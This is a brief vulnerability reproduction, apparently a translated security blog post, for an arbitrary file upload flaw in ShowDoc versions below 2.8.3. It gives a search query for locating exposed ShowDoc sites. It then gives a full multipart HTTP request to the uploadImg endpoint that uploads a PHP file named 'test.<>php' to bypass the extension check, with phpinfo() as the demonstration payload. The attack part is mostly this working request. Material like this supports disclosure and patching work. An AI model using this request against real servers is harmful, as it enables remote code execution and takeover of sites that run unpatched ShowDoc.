Showdoc Pagecontroller Class Php Arbitrary File Upload Vulnerability
Showdoc Pagecontroller Class Php Arbitrary File Upload Vulnerability
ShowDoc PageController.class.php arbitrary file upload vulnerability
Vulnerability Description
ShowDoc has a vulnerability to upload any file. Attackers can upload malicious files by constructing special data packets.
Vulnerability Impact
ShowDoc < V2.8.3
Network surveying and mapping
app=”ShowDoc”
Vulnerability reappears
The homepage of the website is as follows
Construct the following data packet upload php file
POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Content-Length: 239
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Accept-Encoding: gzip
----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
<?php phpinfo();?>
----------------------------921378126371623762173617--
Access to the echo path
This post is licensed under CC BY 4.0 by the author.